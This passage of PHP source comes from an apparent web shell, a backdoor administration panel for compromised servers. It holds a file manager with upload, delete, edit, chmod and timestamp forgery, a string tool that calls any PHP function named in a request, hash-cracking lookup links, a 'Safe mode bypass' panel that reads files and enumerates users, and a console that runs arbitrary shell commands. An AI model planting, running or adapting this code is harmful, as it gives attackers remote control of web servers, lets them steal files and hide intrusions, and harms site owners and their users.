  976.         switch($_POST['p1']) {
  977.  
  978.             case 'uploadFile':
  979.  
  980.                 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  981.  
  982.                     echo "Can't upload file!";
  983.  
  984.                 break;
  985.  
  986.                 break;
  987.  
  988.             case 'mkdir':
  989.  
  990.                 if(!@mkdir($_POST['p2']))
  991.  
  992.                     echo "Can't create new dir";
  993.  
  994.                 break;
  995.  
  996.             case 'delete':
  997.  
  998.                 function deleteDir($path) {
  999.  
  1000.                     $path = (substr($path,-1)=='/') ? $path:$path.'/';
  1001.  
  1002.                     $dh  = opendir($path);
  1003.  
  1004.                     while ( ($item = readdir($dh) ) !== false) {
  1005.  
  1006.                         $item = $path.$item;
  1007.  
  1008.                         if ( (basename($item) == "..") || (basename($item) == ".") )
  1009.  
  1010.                             continue;
  1011.  
  1012.                         $type = filetype($item);
  1013.  
  1014.                         if ($type == "dir")
  1015.  
  1016.                             deleteDir($item);
  1017.  
  1018.                         else
  1019.  
  1020.                             @unlink($item);
  1021.  
  1022.                     }
  1023.  
  1024.                     closedir($dh);
  1025.  
  1026.                     rmdir($path);
  1027.  
  1028.                 }
  1029.  
  1030.                 if(is_array(@$_POST['f']))
  1031.  
  1032.                     foreach($_POST['f'] as $f) {
  1033.  
  1034.                         $f = urldecode($f);
  1035.  
  1036.                         if(is_dir($f))
  1037.  
  1038.                             deleteDir($f);
  1039.  
  1040.                         else
  1041.  
  1042.                             @unlink($f);
  1043.  
  1044.                     }
  1045.  
  1046.                 break;
  1047.  
  1048.             case 'paste':
  1049.  
  1050.                 if($_SESSION['act'] == 'copy') {
  1051.  
  1052.                     function copy_paste($c,$s,$d){
  1053.  
  1054.                         if(is_dir($c.$s)){
  1055.  
  1056.                             mkdir($d.$s);
  1057.  
  1058.                             $h = opendir($c.$s);
  1059.  
  1060.                             while (($f = readdir($h)) !== false)
  1061.  
  1062.                                 if (($f != ".") and ($f != "..")) {
  1063.  
  1064.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  1065.  
  1066.                                 }
  1067.  
  1068.                         } elseif(is_file($c.$s)) {
  1069.  
  1070.                             @copy($c.$s, $d.$s);
  1071.  
  1072.                         }
  1073.  
  1074.                     }
  1075.  
  1076.                     foreach($_SESSION['f'] as $f)
  1077.  
  1078.                         copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);                    
  1079.  
  1080.                 } elseif($_SESSION['act'] == 'move') {
  1081.  
  1082.                     function move_paste($c,$s,$d){
  1083.  
  1084.                         if(is_dir($c.$s)){
  1085.  
  1086.                             mkdir($d.$s);
  1087.  
  1088.                             $h = opendir($c.$s);
  1089.  
  1090.                             while (($f = readdir($h)) !== false)
  1091.  
  1092.                                 if (($f != ".") and ($f != "..")) {
  1093.  
  1094.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  1095.  
  1096.                                 }
  1097.  
  1098.                         } elseif(is_file($c.$s)) {
  1099.  
  1100.                             @copy($c.$s, $d.$s);
  1101.  
  1102.                         }
  1103.  
  1104.                     }
  1105.  
  1106.                     foreach($_SESSION['f'] as $f)
  1107.  
  1108.                         @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
  1109.  
  1110.                 }
  1111.  
  1112.                 unset($_SESSION['f']);
  1113.  
  1114.                 break;
  1115.  
  1116.             default:
  1117.  
  1118.                 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
  1119.  
  1120.                     $_SESSION['act'] = @$_POST['p1'];
  1121.  
  1122.                     $_SESSION['f'] = @$_POST['f'];
  1123.  
  1124.                     foreach($_SESSION['f'] as $k => $f)
  1125.  
  1126.                         $_SESSION['f'][$k] = urldecode($f);
  1127.  
  1128.                     $_SESSION['cwd'] = @$_POST['c'];
  1129.  
  1130.                 }
  1131.  
  1132.                 break;
  1133.  
  1134.         }
  1135.  
  1136.         echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
  1137.  
  1138.     }
  1139.  
  1140.     $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  1141.  
  1142.     if($dirContent === false) {    echo 'Can\'t open this folder!'; return;    }
  1143.  
  1144.     global $sort;
  1145.  
  1146.     $sort = array('name', 1);
  1147.  
  1148.     if(!empty($_POST['p1'])) {
  1149.  
  1150.         if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  1151.  
  1152.             $sort = array($match[1], (int)$match[2]);
  1153.  
  1154.     }
  1155.  
  1156. ?>
  1157.  
  1158. <script>
  1159.  
  1160.     function sa() {
  1161.  
  1162.         for(i=0;i<document.files.elements.length;i++)
  1163.  
  1164.             if(document.files.elements[i].type == 'checkbox')
  1165.  
  1166.                 document.files.elements[i].checked = document.files.elements[0].checked;
  1167.  
  1168.     }
  1169.  
  1170. </script>
  1171.  
  1172. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  1173.  
  1174. <form name=files method=post>
  1175.  
  1176. <?php
  1177.  
  1178.     echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  1179.  
  1180.     $dirs = $files = $links = array();
  1181.  
  1182.     $n = count($dirContent);
  1183.  
  1184.     for($i=0;$i<$n;$i++) {
  1185.  
  1186.         $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  1187.  
  1188.         $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  1189.  
  1190.         $tmp = array('name' => $dirContent[$i],
  1191.  
  1192.                      'path' => $GLOBALS['cwd'].$dirContent[$i],
  1193.  
  1194.                      'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  1195.  
  1196.                      'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  1197.  
  1198.                      'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  1199.  
  1200.                      'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  1201.  
  1202.                      'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  1203.  
  1204.                     );
  1205.  
  1206.         if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
  1207.  
  1208.             $files[] = array_merge($tmp, array('type' => 'file'));
  1209.  
  1210.         elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
  1211.  
  1212.             $links[] = array_merge($tmp, array('type' => 'link'));
  1213.  
  1214.         elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  1215.  
  1216.             $dirs[] = array_merge($tmp, array('type' => 'dir'));
  1217.  
  1218.     }
  1219.  
  1220.     $GLOBALS['sort'] = $sort;
  1221.  
  1222.     function cmp($a, $b) {
  1223.  
  1224.         if($GLOBALS['sort'][0] != 'size')
  1225.  
  1226.             return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
  1227.  
  1228.         else
  1229.  
  1230.             return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  1231.  
  1232.     }
  1233.  
  1234.     usort($files, "cmp");
  1235.  
  1236.     usort($dirs, "cmp");
  1237.  
  1238.     usort($links, "cmp");
  1239.  
  1240.     $files = array_merge($dirs, $links, $files);
  1241.  
  1242.     $l = 0;
  1243.  
  1244.     foreach($files as $f) {
  1245.  
  1246.         echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  1247.  
  1248.             .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  1249.  
  1250.         $l = $l?0:1;
  1251.  
  1252.     }
  1253.  
  1254.     ?>
  1255.  
  1256.     <tr><td colspan=7>
  1257.  
  1258.     <input type=hidden name=a value='FilesMan'>
  1259.  
  1260.     <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
  1261.  
  1262.     <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  1263.  
  1264.     <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select>&nbsp;<input type="submit" value=">>"></td></tr>
  1265.  
  1266.     </form></table></div>
  1267.  
  1268.     <?php
  1269.  
  1270.     printFooter();
  1271.  
  1272. }
  1273.  
  1274.  
  1275. function actionStringTools() {
  1276.  
  1277.     if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  1278.  
  1279.     if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  1280.  
  1281.     if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
  1282.  
  1283.     if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  1284.  
  1285.      
  1286.  
  1287.     if(isset($_POST['ajax'])) {
  1288.  
  1289.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1290.  
  1291.         ob_start();
  1292.  
  1293.         if(function_exists($_POST['p1']))
  1294.  
  1295.             echo $_POST['p1']($_POST['p2']);
  1296.  
  1297.         $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  1298.  
  1299.         echo strlen($temp), "\n", $temp;
  1300.  
  1301.         exit;
  1302.  
  1303.     }
  1304.  
  1305.     printHeader();
  1306.  
  1307.     echo '<h1>String conversions</h1><div class=content>';
  1308.  
  1309.     $stringTools = array(
  1310.  
  1311.         'Base64 encode' => 'base64_encode',
  1312.  
  1313.         'Base64 decode' => 'base64_decode',
  1314.  
  1315.         'Url encode' => 'urlencode',
  1316.  
  1317.         'Url decode' => 'urldecode',
  1318.  
  1319.         'Full urlencode' => 'full_urlencode',
  1320.  
  1321.         'md5 hash' => 'md5',
  1322.  
  1323.         'sha1 hash' => 'sha1',
  1324.  
  1325.         'crypt' => 'crypt',
  1326.  
  1327.         'CRC32' => 'crc32',
  1328.  
  1329.         'ASCII to HEX' => 'ascii2hex',
  1330.  
  1331.         'HEX to ASCII' => 'hex2ascii',
  1332.  
  1333.         'HEX to DEC' => 'hexdec',
  1334.  
  1335.         'HEX to BIN' => 'hex2bin',
  1336.  
  1337.         'DEC to HEX' => 'dechex',
  1338.  
  1339.         'DEC to BIN' => 'decbin',
  1340.  
  1341.         'BIN to HEX' => 'bin2hex',
  1342.  
  1343.         'BIN to DEC' => 'bindec',        
  1344.  
  1345.         'String to lower case' => 'strtolower',
  1346.  
  1347.         'String to upper case' => 'strtoupper',
  1348.  
  1349.         'Htmlspecialchars' => 'htmlspecialchars',
  1350.  
  1351.         'String length' => 'strlen',
  1352.  
  1353.     );
  1354.  
  1355.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1356.  
  1357.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1358.  
  1359.     echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  1360.  
  1361.     foreach($stringTools as $k => $v)
  1362.  
  1363.         echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  1364.  
  1365.         echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> Send Using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  1366.  
  1367.     if(!empty($_POST['p1'])) {
  1368.  
  1369.         if(function_exists($_POST['p1']))
  1370.  
  1371.         echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1372.  
  1373.     }
  1374.  
  1375.     echo"</pre></div>";
  1376.  
  1377.     ?>
  1378.  
  1379.     <br><h1>Search for hash:</h1><div class=content>
  1380.  
  1381.         <form method='post' target='_blank' name="hf">
  1382.  
  1383.             <input type="text" name="hash" style="width:200px;"><br>
  1384.  
  1385.             <input type="button" value="Google.com" onClick="document.hf.action='http://www.google.com.vn/';document.hf.submit()"><br>
  1386.  
  1387.             <input type="button" value="Md5decrypter.co.uk" onClick="document.hf.action='http://md5decrypter.co.uk/';document.hf.submit()"><br>
  1388.  
  1389.             <input type="button" value="Insidepro.com" onClick="document.hf.action='http://forum.insidepro.com/';document.hf.submit()"><br>
  1390.  
  1391.             <input type="button" value="md5.rednoize.com" onClick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
  1392.  
  1393.             <input type="button" value="md5decrypter.com" onClick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br>
  1394.  
  1395.             <input type="button" value="Md5decryption.com/" onClick="document.hf.action='http://md5decryption.com/';document.hf.submit()"><br>
  1396.  
  1397.         </form>
  1398.  
  1399.     </div>
  1400.  
  1401.     <?php
  1402.  
  1403.     printFooter();
  1404.  
  1405. }
  1406.  
  1407.  
  1408. function actionFilesTools() {
  1409.  
  1410.     if( isset($_POST['p1']) )
  1411.  
  1412.         $_POST['p1'] = urldecode($_POST['p1']);
  1413.  
  1414.     if(@$_POST['p2']=='download') {
  1415.  
  1416.         if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
  1417.  
  1418.             ob_start("ob_gzhandler", 4096);
  1419.  
  1420.             header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  1421.  
  1422.             if (function_exists("mime_content_type")) {
  1423.  
  1424.                 $type = @mime_content_type($_POST['p1']);
  1425.  
  1426.                 header("Content-Type: ".$type);
  1427.  
  1428.             }
  1429.  
  1430.             $fp = @fopen($_POST['p1'], "r");
  1431.  
  1432.             if($fp) {
  1433.  
  1434.                 while(!@feof($fp))
  1435.  
  1436.                     echo @fread($fp, 1024);
  1437.  
  1438.                 fclose($fp);
  1439.  
  1440.             }
  1441.  
  1442.         } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
  1443.  
  1444.  
  1445.         }
  1446.  
  1447.         exit;
  1448.  
  1449.     }
  1450.  
  1451.     if( @$_POST['p2'] == 'mkfile' ) {
  1452.  
  1453.         if(!file_exists($_POST['p1'])) {
  1454.  
  1455.             $fp = @fopen($_POST['p1'], 'w');
  1456.  
  1457.             if($fp) {
  1458.  
  1459.                 $_POST['p2'] = "edit";
  1460.  
  1461.                 fclose($fp);
  1462.  
  1463.             }
  1464.  
  1465.         }
  1466.  
  1467.     }
  1468.  
  1469.     printHeader();
  1470.  
  1471.     echo '<h1>File tools</h1><div class=content>';
  1472.  
  1473.     if( !file_exists(@$_POST['p1']) ) {
  1474.  
  1475.         echo 'File not exists';
  1476.  
  1477.         printFooter();
  1478.  
  1479.         return;
  1480.  
  1481.     }
  1482.  
  1483.     $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  1484.  
  1485.     $gid = @posix_getgrgid(@fileowner($_POST['p1']));
  1486.  
  1487.     echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  1488.  
  1489.     echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  1490.  
  1491.     if( empty($_POST['p2']) )
  1492.  
  1493.         $_POST['p2'] = 'view';
  1494.  
  1495.     if( is_file($_POST['p1']) )
  1496.  
  1497.         $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  1498.  
  1499.     else
  1500.  
  1501.         $m = array('Chmod', 'Rename', 'Touch');
  1502.  
  1503.     foreach($m as $v)
  1504.  
  1505.         echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  1506.  
  1507.     echo '<br><br>';
  1508.  
  1509.     switch($_POST['p2']) {
  1510.  
  1511.         case 'view':
  1512.  
  1513.             echo '<pre class=ml1>';
  1514.  
  1515.             $fp = @fopen($_POST['p1'], 'r');
  1516.  
  1517.             if($fp) {
  1518.  
  1519.                 while( !@feof($fp) )
  1520.  
  1521.                     echo htmlspecialchars(@fread($fp, 1024));
  1522.  
  1523.                 @fclose($fp);
  1524.  
  1525.             }
  1526.  
  1527.             echo '</pre>';
  1528.  
  1529.             break;
  1530.  
  1531.         case 'highlight':
  1532.  
  1533.             if( is_readable($_POST['p1']) ) {
  1534.  
  1535.                 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  1536.  
  1537.                 $code = highlight_file($_POST['p1'],true);
  1538.  
  1539.                 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  1540.  
  1541.             }
  1542.  
  1543.             break;
  1544.  
  1545.         case 'chmod':
  1546.  
  1547.             if( !empty($_POST['p3']) ) {
  1548.  
  1549.                 $perms = 0;
  1550.  
  1551.                 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  1552.  
  1553.                     $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  1554.  
  1555.                 if(!@chmod($_POST['p1'], $perms))
  1556.  
  1557.                     echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  1558.  
  1559.                 else
  1560.  
  1561.                     die('<script>g(null,null,null,null,"")</script>');
  1562.  
  1563.             }
  1564.  
  1565.             echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  1566.  
  1567.             break;
  1568.  
  1569.         case 'edit':
  1570.  
  1571.             if( !is_writable($_POST['p1'])) {
  1572.  
  1573.                 echo 'File isn\'t writeable';
  1574.  
  1575.                 break;
  1576.  
  1577.             }
  1578.  
  1579.             if( !empty($_POST['p3']) ) {
  1580.  
  1581.                 @file_put_contents($_POST['p1'],$_POST['p3']);
  1582.  
  1583.                 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
  1584.  
  1585.             }
  1586.  
  1587.             echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
  1588.  
  1589.             $fp = @fopen($_POST['p1'], 'r');
  1590.  
  1591.             if($fp) {
  1592.  
  1593.                 while( !@feof($fp) )
  1594.  
  1595.                     echo htmlspecialchars(@fread($fp, 1024));
  1596.  
  1597.                 @fclose($fp);
  1598.  
  1599.             }
  1600.  
  1601.             echo '</textarea><input type=submit value=">>"></form>';
  1602.  
  1603.             break;
  1604.  
  1605.         case 'hexdump':
  1606.  
  1607.             $c = @file_get_contents($_POST['p1']);
  1608.  
  1609.             $n = 0;
  1610.  
  1611.             $h = array('00000000<br>','','');
  1612.  
  1613.             $len = strlen($c);
  1614.  
  1615.             for ($i=0; $i<$len; ++$i) {
  1616.  
  1617.                 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  1618.  
  1619.                 switch ( ord($c[$i]) ) {
  1620.  
  1621.                     case 0:  $h[2] .= ' '; break;
  1622.  
  1623.                     case 9:  $h[2] .= ' '; break;
  1624.  
  1625.                     case 10: $h[2] .= ' '; break;
  1626.  
  1627.                     case 13: $h[2] .= ' '; break;
  1628.  
  1629.                     default: $h[2] .= $c[$i]; break;
  1630.  
  1631.                 }
  1632.  
  1633.                 $n++;
  1634.  
  1635.                 if ($n == 32) {
  1636.  
  1637.                     $n = 0;
  1638.  
  1639.                     if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  1640.  
  1641.                     $h[1] .= '<br>';
  1642.  
  1643.                     $h[2] .= "\n";
  1644.  
  1645.                 }
  1646.  
  1647.              }
  1648.  
  1649.             echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  1650.  
  1651.             break;
  1652.  
  1653.         case 'rename':
  1654.  
  1655.             if( !empty($_POST['p3']) ) {
  1656.  
  1657.                 if(!@rename($_POST['p1'], $_POST['p3']))
  1658.  
  1659.                     echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
  1660.  
  1661.                 else
  1662.  
  1663.                     die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  1664.  
  1665.             }
  1666.  
  1667.             echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  1668.  
  1669.             break;
  1670.  
  1671.         case 'touch':
  1672.  
  1673.             if( !empty($_POST['p3']) ) {
  1674.  
  1675.                 $time = strtotime($_POST['p3']);
  1676.  
  1677.                 if($time) {
  1678.  
  1679.                     if(@touch($_POST['p1'],$time,$time))
  1680.  
  1681.                         die('<script>g(null,null,null,null,"")</script>');
  1682.  
  1683.                     else {
  1684.  
  1685.                         echo 'Fail!<script>document.mf.p3.value="";</script>';
  1686.  
  1687.                     }
  1688.  
  1689.                 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
  1690.  
  1691.             }
  1692.  
  1693.             echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  1694.  
  1695.             break;
  1696.  
  1697.         case 'mkfile':
  1698.  
  1699.              
  1700.  
  1701.             break;
  1702.  
  1703.     }
  1704.  
  1705.     echo '</div>';
  1706.  
  1707.     printFooter();
  1708.  
  1709. }
  1710.  
  1711.  
  1712. function actionSafeMode() {
  1713.  
  1714.     $temp='';
  1715.  
  1716.     ob_start();
  1717.  
  1718.     switch($_POST['p1']) {
  1719.  
  1720.         case 1:
  1721.  
  1722.             $temp=@tempnam($test, 'cx');
  1723.  
  1724.             if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1725.  
  1726.                 echo @file_get_contents($temp);
  1727.  
  1728.                 unlink($temp);
  1729.  
  1730.             } else
  1731.  
  1732.                 echo 'Sorry... Can\'t open file';
  1733.  
  1734.             break;
  1735.  
  1736.         case 2:
  1737.  
  1738.             $files = glob($_POST['p2'].'*');
  1739.  
  1740.             if( is_array($files) )
  1741.  
  1742.                 foreach ($files as $filename)
  1743.  
  1744.                     echo $filename."\n";
  1745.  
  1746.             break;
  1747.  
  1748.         case 3:
  1749.  
  1750.             $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  1751.  
  1752.             curl_exec($ch);
  1753.  
  1754.             break;
  1755.  
  1756.         case 4:
  1757.  
  1758.             ini_restore("safe_mode");
  1759.  
  1760.             ini_restore("open_basedir");
  1761.  
  1762.             include($_POST['p2']);
  1763.  
  1764.             break;
  1765.  
  1766.         case 5:
  1767.  
  1768.             for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1769.  
  1770.                 $uid = @posix_getpwuid($_POST['p2']);
  1771.  
  1772.                 if ($uid)
  1773.  
  1774.                     echo join(':',$uid)."\n";
  1775.  
  1776.             }
  1777.  
  1778.             break;
  1779.  
  1780.         case 6:
  1781.  
  1782.             if(!function_exists('imap_open'))break;
  1783.  
  1784.             $stream = imap_open($_POST['p2'], "", "");
  1785.  
  1786.             if ($stream == FALSE)
  1787.  
  1788.                 break;
  1789.  
  1790.             echo imap_body($stream, 1);
  1791.  
  1792.             imap_close($stream);
  1793.  
  1794.             break;
  1795.  
  1796.     }
  1797.  
  1798.     $temp = ob_get_clean();
  1799.  
  1800.     printHeader();
  1801.  
  1802.     echo '<h1>Safe mode bypass</h1><div class=content>';
  1803.  
  1804.     echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
  1805.  
  1806.     if($temp)
  1807.  
  1808.         echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
  1809.  
  1810.     echo '</div>';
  1811.  
  1812.     printFooter();
  1813.  
  1814. }
  1815.  
  1816.  
  1817. function actionConsole() {
  1818.  
  1819.     if(isset($_POST['ajax'])) {
  1820.  
  1821.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1822.  
  1823.         ob_start();
  1824.  
  1825.         echo "document.cf.cmd.value='';\n";
  1826.  
  1827.         $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
  1828.  
  1829.         if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))    {
  1830.  
  1831.             if(@chdir($match[1])) {
  1832.  
  1833.                 $GLOBALS['cwd'] = @getcwd();
  1834.  
  1835.                 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  1836.  
  1837.             }
  1838.  
  1839.         }
  1840.  
  1841.         echo "document.cf.output.value+='".$temp."';";
  1842.  
  1843.         echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  1844.  
  1845.         $temp = ob_get_clean();
  1846.  
  1847.         echo strlen($temp), "\n", $temp;
  1848.  
  1849.         exit;
  1850.  
  1851.     }
  1852.  
  1853.     printHeader();
  1854.  
  1855. ?>
  1856.  
  1857. <script>
  1858.  
  1859. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1860.  
  1861. var cmds = new Array("");
  1862.  
  1863. var cur = 0;
  1864.  
  1865. function kp(e) {
  1866.  
  1867.     var n = (window.Event) ? e.which : e.keyCode;
  1868.  
  1869.     if(n == 38) {
  1870.  
  1871.         cur--;
  1872.  
  1873.         if(cur>=0)
  1874.  
  1875.             document.cf.cmd.value = cmds[cur];
  1876.  
  1877.         else
  1878.  
  1879.             cur++;
  1880.  
  1881.     } else if(n == 40) {
  1882.  
  1883.         cur++;
  1884.  
  1885.         if(cur < cmds.length)
  1886.  
  1887.             document.cf.cmd.value = cmds[cur];
  1888.  
  1889.         else
  1890.  
  1891.             cur--;
  1892.  
  1893.     }
  1894.  
  1895. }
  1896.  
  1897. function add(cmd) {
  1898.  
  1899.     cmds.pop();
  1900.  
  1901.     cmds.push(cmd);
  1902.  
  1903.     cmds.push("");
  1904.  
  1905.     cur = cmds.length-1;
  1906.  
  1907. }
  1908.  
  1909. </script>
  1910.  
  1911. <?php
  1912.  
  1913.     echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
  1914.  
  1915.     foreach($GLOBALS['aliases'] as $n => $v) {
  1916.  
  1917.         if($v == '') {
  1918.  
